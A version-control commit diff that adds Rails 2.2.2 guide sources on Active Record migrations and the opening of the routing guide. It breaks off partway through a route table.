+Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `rake db:migrate`. You must rollback the migration (for example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version.
+
+In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/changelog.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/changelog.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/changelog.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6[Lighthouse ticket]
+
+* September 14, 2008: initial version by link:../authors.html#fcheung[Frederick Cheung]
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/creating_a_migration.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/creating_a_migration.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/creating_a_migration.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,109 @@
+== Creating A Migration ==
+
+=== Creating a model ===
+
+The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
+
+`ruby script/generate model Product name:string description:text` will create a migration that looks like this
+
+[source, ruby]
+-----------------------
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+-----------------------
+
+You can append as many column name/type pairs as you want. By default `t.timestamps` (which creates the `updated_at` and `created_at` columns that
+are automatically populated by Active Record) will be added for you.
+
+=== Creating a standalone migration ===
+If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
+
+`ruby script/generate migration AddPartNumberToProducts`
+
+This will create an empty but appropriately named migration:
+
+[source, ruby]
+-----------------------
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end
+-----------------------
+
+If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
+the appropriate add and remove column statements will be created.
+
+`ruby script/generate migration AddPartNumberToProducts part_number:string`
+
+will generate
+
+[source, ruby]
+-----------------------
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+  end
+
+  def self.down
+    remove_column :products, :part_number
+  end
+end
+-----------------------
+
+Similarly,
+
+`ruby script/generate migration RemovePartNumberFromProducts part_number:string`
+
+generates
+
+[source, ruby]
+-----------------------
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def self.up
+    remove_column :products, :part_number
+  end
+
+  def self.down
+    add_column :products, :part_number, :string
+  end
+end
+-----------------------
+
+You are not limited to one magically generated column, for example
+
+`ruby script/generate migration AddDetailsToProducts part_number:string price:decimal`
+
+generates
+
+[source, ruby]
+-----------------------
+class AddDetailsToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+
+  def self.down
+    remove_column :products, :price
+    remove_column :products, :part_number
+  end
+end
+-----------------------
+
+As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/foreign_keys.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/foreign_keys.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/foreign_keys.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+[[foreign_key]]
+== Active Record and Referential Integrity ==
+The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.
+
+Validations such as `validates_uniqueness_of` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
+
+Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. There are also a number of plugins such as http://agilewebdevelopment.com/plugins/search?search=redhillonrails[redhillonrails] which add foreign key support to Active Record (including support for dumping foreign keys in `schema.rb`).
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/index.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/index.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/index.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+Migrations
+==========
+
+Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run.
+
+Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
+
+You'll learn all about migrations including:
+
+* The generators you can use to create them
+* The methods Active Record provides to manipulate your database
+* The Rake tasks that manipulate them
+* How they relate to `schema.rb`
+
+include::anatomy_of_a_migration.txt[]
+include::creating_a_migration.txt[]
+include::writing_a_migration.txt[]
+include::rakeing_around.txt[]
+include::using_models_in_migrations.txt[]
+include::scheming.txt[]
+include::foreign_keys.txt[]
+include::changelog.txt[]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/rakeing_around.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/rakeing_around.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/rakeing_around.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,111 @@
+== Running Migrations ==
+
+Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be `db:migrate`. In its most basic form it just runs the `up` method for all the migrations that have not yet been run. If there are no such migrations it exits.
+
+If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
+
+------------------------------------
+rake db:migrate VERSION=20080906120000
+------------------------------------
+
+If this is greater than the current version (i.e. it is migrating upwards) this will run the `up` method on all migrations up to and including 20080906120000, if migrating downwards this will run the `down` method on all the migrations down to, but not including, 20080906120000.
+
+=== Rolling back ===
+
+A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
+
+------------------
+rake db:rollback
+------------------
+
+This will run the `down` method from the latest migration. If you need to undo several migrations you can provide a `STEP` parameter:
+
+------------------
+rake db:rollback STEP=3
+------------------
+
+will run the `down` method from the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task you can use the `STEP` parameter if you need to go more than one version back, for example
+
+------------------
+rake db:migrate:redo STEP=3
+------------------
+
+Neither of these Rake tasks do anything you could not do with `db:migrate`, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
+
+Lastly, the `db:reset` task will drop the database, recreate it and load the current schema into it.
+
+NOTE: This is not the same as running all the migrations - see the section on <<schema,schema.rb>>.
+
+=== Being Specific ===
+
+If you need to run a specific migration up or down the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `up` or `down` method invoked, for example
+
+------------------
+rake db:migrate:up VERSION=20080906120000
+------------------
+
+will run the `up` method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example `db:migrate:up VERSION=20080906120000` will do nothing if Active Record believes that 20080906120000 has already been run.
+
+
+=== Being talkative ===
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+-------------------------
+== 20080906170109 CreateProducts: migrating ===================================
+-- create_table(:products)
+   -> 0.0021s
+-- add_index(:products, :name)
+   -> 0.0026s
+== 20080906170109 CreateProducts: migrated (0.0059s) ==========================
+-------------------------
+Several methods are provided that allow you to control all this:
+
+* `suppress_messages` suppresses any output generated by its block
+* `say` outputs text (the second argument controls whether it is indented or not)
+* `say_with_time` outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration
+
+[source, ruby]
+----------------------
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+    say "Created a table"
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+----------------------
+
+generates the following output
+----------------------
+== 20080906170109 CreateProducts: migrating ===================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0001s
+   -> 250 rows
+== 20080906170109 CreateProducts: migrated (10.0097s) =========================
+----------------------
+
+If you just want Active Record to shut up then running `rake db:migrate VERBOSE=false` will suppress any output.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/scheming.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/scheming.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/scheming.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+== Schema dumping and you ==
+[[schema]]
+=== What are schema files for? ===
+Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either `schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development database is dumped (either to `schema.rb` or `development.sql`) and then loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The http://agilewebdevelopment.com/plugins/annotate_models[annotate_models] plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
+
+=== Types of schema dumps === 
+There are two ways to dump the schema. This is set in `config/environment.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`.
+
+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration:
+
+[source, ruby]
+--------------------------------------
+ActiveRecord::Schema.define(:version => 20080906171750) do
+  create_table "authors", :force => true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", :force => true do |t|
+    t.string   "name"
+    t.text     "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string   "part_number"
+  end
+end
+--------------------------------------
+
+In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index` and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: `schema.rb` cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to `:sql`. 
+
+Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the `db:structure:dump` Rake task) into `db/#\{RAILS_ENV\}_structure.sql`. For example for PostgreSQL the `pg_dump` utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
+
+By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
+
+=== Schema dumps and source control ===
+
+Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/using_models_in_migrations.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/using_models_in_migrations.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/using_models_in_migrations.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+[[models]]
+== Using Models In Your Migrations ==
+When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. 
+
+Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with `rake db:migrate`, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
+
+Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
+
+[source, ruby]
+-------------------------
+class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+  
+  def self.up
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+-------------------------
+The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.
+
+=== Dealing with changing models ===
+
+For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the `reset_column_information` method, for example
+
+[source, ruby]
+-------------------------
+class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+  
+  def self.up
+    add_column :product, :part_number, :string
+    Product.reset_column_information
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+-------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/writing_a_migration.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/writing_a_migration.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/writing_a_migration.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,159 @@
+== Writing a Migration ==
+
+Once you have created your migration using one of the generators it's time to get to work!
+
+=== Creating a table ===
+
+`create_table` will be one of your workhorses. A typical use would be
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.string :name
+end
+---------------------
+which creates a `products` table with a column called `name` (and as discussed below, an implicit `id` column).
+
+The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.column :name, :string, :null => false
+end
+---------------------
+
+the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the `string`, `integer` etc. methods create a column of that type. Subsequent parameters are identical.
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.string :name, :null => false
+end
+---------------------
+
+By default `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass `:id => false`. If you need to pass database specific options you can place an sql fragment in the `:options` option. For example
+
+[source, ruby]
+---------------------
+create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
+  t.string :name, :null => false
+end
+---------------------
+Will append `ENGINE=BLACKHOLE` to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").
+
+The types Active Record supports are `:primary_key`, `:string`, `:text`, `:integer`, `:float`, `:decimal`, `:datetime`, `:timestamp`, `:time`, `:date`, `:binary`, `:boolean`.
+
+These will be mapped onto an appropriate underlying database type, for example with MySQL `:string` is mapped to `VARCHAR(255)`. You can create columns of 
+types not supported by Active Record when using the non sexy syntax, for example
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.column :name, 'polygon', :null => false
+end
+---------------------
+This may however hinder portability to other databases.
+
+=== Changing tables ===
+
+`create_table`'s close cousin is `change_table`. Used for changing existing tables, it is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example
+
+[source, ruby]
+---------------------
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+---------------------
+removes the `description` column, creates a `part_number` column and adds an index on it. Finally it renames the `upccode` column.   This is the same as doing
+
+[source, ruby]
+---------------------
+remove_column :products, :description
+remove_column :products, :name
+add_column :products, :part_number, :string
+add_index :products, :part_number
+rename_column :products, :upccode, :upc_code
+---------------------
+
+You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example `remove_column` becomes just `remove` and `add_index` becomes just `index`.
+
+=== Special helpers ===
+
+Active Record provides some shortcuts for common functionality. It is for example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that:
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.timestamps
+end
+---------------------
+will create a new products table with those two columns whereas
+
+[source, ruby]
+---------------------
+change_table :products do |t|
+  t.timestamps
+end
+---------------------
+adds those columns to an existing table.
+
+The other helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.references :category
+end
+---------------------
+
+will create a `category_id` column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the `_id` for you. If you have polymorphic belongs_to associations then `references` will add both of the columns required:
+
+[source, ruby]
+---------------------
+create_table :products do |t|
+  t.references :attachment, :polymorphic => {:default => 'Photo'}
+end
+---------------------
+will add an `attachment_id` column and a string `attachment_type` column with a default value of 'Photo'.
+
+NOTE: The `references` helper does not actually create foreign key constraints for you. You will need to use `execute` for that or a plugin that adds <<foreign_key,foreign key support>>.
+
+If the helpers provided by Active Record aren't enough you can use the `execute` function to execute arbitrary SQL.
+
+For more details and examples of individual methods check the API documentation, in particular the documentation for http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html[ActiveRecord::ConnectionAdapters::SchemaStatements] (which provides the methods available in the `up` and `down` methods),  http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html[ActiveRecord::ConnectionAdapters::TableDefinition] (which provides the methods available on the object yielded by `create_table`) and http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html[ActiveRecord::ConnectionAdapters::Table] (which provides the methods available on the object yielded by `change_table`).
+
+=== Writing your down method ===
+
+The `down` method of your migration should revert the transformations done by the `up` method. In other words the database should be unchanged if you do an `up` followed by a `down`. For example if you create a table in the up you should drop it in the `down` method. It is wise to do things in precisely the reverse order to in the `up` method. For example
+
+[source, ruby]
+---------------------
+class ExampleMigration < ActiveRecord::Migration
+
+  def self.up
+    create_table :products do |t|
+      t.references :category
+    end
+    #add a foreign key
+    execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"
+    
+    add_column :users, :home_page_url, :string
+    
+    rename_column :users, :email, :email_address
+  end
+  
+  def self.down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
+    drop_table :products
+  end
+end
+---------------------
+Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your `down` method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/routing_outside_in.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/routing_outside_in.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/routing_outside_in.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,986 @@
+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
+
+* Understand the purpose of routing
+* Decipher the code in +routes.rb+
+* Construct your own routes, using either the classic hash style or the now-preferred RESTful style
+* Identify how a route will map to a controller and action
+
+== The Dual Purpose of Routing
+
+Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.
+
+=== Connecting URLs to Code
+
+When your Rails application receives an incoming HTTP request, say
+
+-------------------------------------------------------
+GET /patients/17
+-------------------------------------------------------
+
+the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17.
+ 
+=== Generating URLs from Code
+
+Routing also works in reverse. If your application contains this code:
+
+[source, ruby]
+-------------------------------------------------------
+ at patient = Patient.find(17)
+<%= link_to "Patient Record", patient_path(@patient) %>
+-------------------------------------------------------
+
+Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.
+
+NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available.
+
+== Quick Tour of Routes.rb
+
+There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview.
+
+=== Processing the File
+
+In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:
+
+* RESTful Routes
+* Named Routes
+* Nested Routes
+* Regular Routes
+* Default Routes
+
+Each of these types of route is covered in more detail later in this guide.
+
+The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.
+
+=== RESTful Routes
+
+RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :books
+-------------------------------------------------------
+
+=== Named Routes
+
+Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:
+
+[source, ruby]
+-------------------------------------------------------
+map.login '/login', :controller => 'sessions', :action => 'new'
+-------------------------------------------------------
+
+=== Nested Routes
+
+Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :assemblies do |assemblies|
+  assemblies.resources :parts
+end
+-------------------------------------------------------
+
+=== Regular Routes
+
+In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
+-------------------------------------------------------
+
+=== Default Routes
+
+The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+-------------------------------------------------------
+
+These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!
+
+== RESTful Routing: the Rails Default
+
+RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.
+
+=== What is REST?
+
+The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+
+* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+* Transferring representations of the state of that resource between system components. 
+
+For example, to a Rails application a request such as this:
+
++DELETE /photos/17+
+
+would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+  
+=== CRUD, Verbs, and Actions
+
+In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos
+-------------------------------------------------------
+
+creates seven different routes in your application:
+
+[grid="all"]
+`----------`---------------`-----------`--------`-------------------------------------------
+HTTP verb  URL             controller  action   used for
+--------------------------------------------------------------------------------------------
+GET        /photos         Photos      index    display a list of all photos
+GET        /photos/new     Photos      new      return an HTML form for creating a new photo
+POST       /photos         Photos      create   create a new photo
+GET        /photos/1       Photos      show     display a specific photo
+GET        /photos/1/edit  Photos      edit     return an HTML form for editing a photo
+PUT        /photos/1       Photos      update   update a specific photo
+DELETE     /photos/1       Photos      destroy  delete a specific photo
+--------------------------------------------------------------------------------------------
+
+For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+.
+
+TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes.
+
+=== URLs and Paths
+
+Creating a RESTful route will also make available a pile of helpers within your application:
+
+* +photos_url+ and +photos_path+ map to the path for the index and create actions
+* +new_photo_url+ and +new_photo_path+ map to the path for the new action
+* +edit_photo_url+ and +edit_photo_path+ map to the path for the edit action
+* +photo_url+ and +photo_path+ map to the path for the show, update, and destroy actions
+
+NOTE: Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.
+
+In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example:
+
+[source, ruby]
+-------------------------------------------------------
+photos_url  # => "http://www.example.com/photos"
+photos_path # => "/photos"
+-------------------------------------------------------
+
+=== Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :books, :videos
+-------------------------------------------------------
+
+This has exactly the same effect as 
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos
+map.resources :books
+map.resources :videos
+-------------------------------------------------------
+
+=== Singular Resources
+
+You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of
+
+[source, ruby]
+-------------------------------------------------------
+map.resource :geocoder
+-------------------------------------------------------
+
+creates six different routes in your application:
+
+[grid="all"]
+`----------`---------------`-----------`--------`-------------------------------------------
+HTTP verb  URL             controller  action   used for
+--------------------------------------------------------------------------------------------
+GET        /geocoder/new   Geocoders   new      return an HTML form for creating the new geocoder
+POST       /geocoder       Geocoders   create   create the new geocoder
+GET        /geocoder       Geocoders   show     display the one and only geocoder resource
+GET        /geocoder/edit  Geocoders   edit     return an HTML form for editing the geocoder
+PUT        /geocoder       Geocoders   update   update the one and only geocoder resource
+DELETE     /geocoder       Geocoders   destroy  delete the geocoder resource
+--------------------------------------------------------------------------------------------
+
+NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural.
+
+A singular RESTful route generates an abbreviated set of helpers:
+
+* +new_geocoder_url+ and +new_geocoder_path+ map to the path for the new action
+* +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action
+* +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions
+
+=== Customizing Resources
+
+Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:
+
+* +:controller+
+* +:singular+
+* +:requirements+
+* +:conditions+
+* +:as+
+* +:path_names+
+* +:path_prefix+
+* +:name_prefix+
+* +:only+
+* +:except+
+
+You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide.
+
+==== Using :controller
+
+The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :controller => "images"
+-------------------------------------------------------
+
+will recognize incoming URLs containing +photo+ but route the requests to the Images controller: 
+
+[grid="all"]
+`----------`---------------`-----------`--------`-------------------------------------------
+HTTP verb  URL             controller  action   used for
+--------------------------------------------------------------------------------------------
+GET        /photos         Images      index    display a list of all images
+GET        /photos/new     Images      new      return an HTML form for creating a new image
+POST       /photos         Images      create   create a new image
+GET        /photos/1       Images      show     display a specific image
